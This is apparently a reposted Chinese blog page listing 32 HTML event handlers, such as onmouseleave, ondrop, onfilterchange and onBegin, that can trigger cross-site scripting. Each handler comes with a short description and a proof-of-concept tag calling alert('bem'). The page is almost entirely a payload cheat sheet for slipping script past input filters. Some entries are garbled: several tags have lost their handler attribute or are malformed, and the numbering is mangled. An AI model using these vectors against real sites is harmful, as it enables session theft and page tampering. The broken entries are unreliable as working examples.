32個觸發事件XSS語句的總結

http://hi.baidu.com/cr3xdker/blog/item/02f94520c1e39c56ad34dee6.html
一、onmouseenter:當鼠標進入選區執行代碼
<div style="123456</div>


二、onmouseleave:當鼠標離開選區執行代碼
<DIV onmouseleave="alert('bem')" style="123456</DIV>


三、onmousewheel:當鼠標在選區滾輪時執行代碼
<DIV onmousewheel="alert('bem')" style="123456</DIV>


四、onscroll:拖動滾動條執行代碼
<div style="width:100px;height:100px;overflow:scroll" onscroll="alert('bem')">123456
<br/>
<br/>
<br/>
<br/>
<br/>
</div>


五、onfocusin:當得到焦點時執行代碼
<div contentEditable="true" style="asdf</div>


六、onfocusout:當失去焦點時執行代碼
<div contentEditable="true" style="asdf</div>


七、onstart:當顯示內容時執行代碼
<marquee style="background-color:red" onstart="alert('bem')" >asdf</marquee>


八、onbeforecopy:選中內容後右鍵執行代碼
<div style="" onbeforecopy="alert('bem')" >asdf</div>


九、onbeforecut:選中內容後右鍵執行代碼
<div style="" onbeforecut="alert('bem')" >asdf</div>


十、onbeforeeditfocus:當得到焦點時執行代碼
<div style="" contentEditable="true" onbeforeeditfocus="alert('bem')" >asdf</div>


十一、onbeforepaste:選中內容後右鍵執行代碼
<div style="" ="true" onbeforepaste="alert('bem')" >asdf</div>


十二、oncontextmenu:鼠標右鍵執行代碼
<div style="" oncontextmenu="alert('bem')" >asdf</div>


1三、oncopy:鼠標右鍵執行復制時執行代碼
<div style="" oncopy="alert('bem')" >asdf</div>


1四、oncut:鼠標右鍵執行剪切時執行代碼
<div contentEditable="true" style="" oncut="alert('bem')" >asdf</div>


1五、ondrag:選擇內容並拖動時執行代碼
<div style="" ondrag="alert('bem')" >asdf</div>


1六、ondragend:選擇內容並拖動鬆開鼠標執行代碼
<div style="" ondragend="alert('bem')" >asdf</div>


1七、ondragenter:選擇內容並拖動時執行代碼
<div style="" ondragenter="alert('bem')" >asdf</div>


1八、ondragleave:選擇內容並拖出邊框執行代碼
<div contentEditable="true" style="" ondragleave="alert('bem')" >asdf</div>


1九、ondragover:選擇內容並拖動時執行代碼
<div contentEditable="true" style="" ondragover="alert('bem')" >asdf</div>


20、ondragstart:選擇內容並拖動時執行代碼
<div contentEditable="true" style="" ondragstart="alert('bem')" >asdf</div>


2一、ondrop:有內容被拖動進來時執行代碼
<div contentEditable="true" style="" ondrop="alert('bem')" >asdf</div>
<div contentEditable="true" style="" ondrop="alert('bem')" >asdf</div>


2二、onlosecapture:選擇內容時執行代碼
<div contentEditable="true" style="" onlosecapture="alert('bem')" >asdf</div>


2三、onpaste:粘貼時執行代碼
<div contentEditable="true" style="" onpaste="alert('bem')" >asdf</div>


2四、onselectstart:選擇內容時執行代碼
<div contentEditable="true" style="" onselectstart="alert('bem')" >asdf</div>


2五、onhelp:進入焦點按F1時執行代碼
<div contentEditable="true" style="" onhelp="alert('bem')" >asdf</div>


2六、onEnd:當時間線執行完畢時執行代碼
<div STYLE="behavior:url('#default#time2')" onEnd="alert('bem')">asdf</div>


2七、onBegin:當時間線開始執行代碼
<div STYLE="behavior:url('#default#time2')" onBegin="alert('bem')">asdf</div>


2八、onactivate:激活當前標籤時執行代碼
<div contentEditable="true" STYLE="" onactivate="alert('bem')">asdf</div>


2九、onfilterchange:當濾鏡改變時執行代碼
<div contentEditable="true" STYLE="filter: Alpha(opacity=100, style=2);" onfilterchange="alert('bem')">asdf</div>


30、onbeforeactivate:當激活當前標籤時執行代碼
<div contentEditable="true" STYLE="" onbeforeactivate="alert('bem')">asdf</div>


3一、onbeforedeactivate:當標籤內值改變時執行代碼
<div contentEditable="true" STYLE="" onbeforedeactivate="alert('bem')">asdf</div>


3二、ondeactivate:當標籤內值改變時執行代碼
<div contentEditable="true" STYLE="" ondeactivate="alert('bem')">asdf</div>html

相關文章
相關標籤/搜索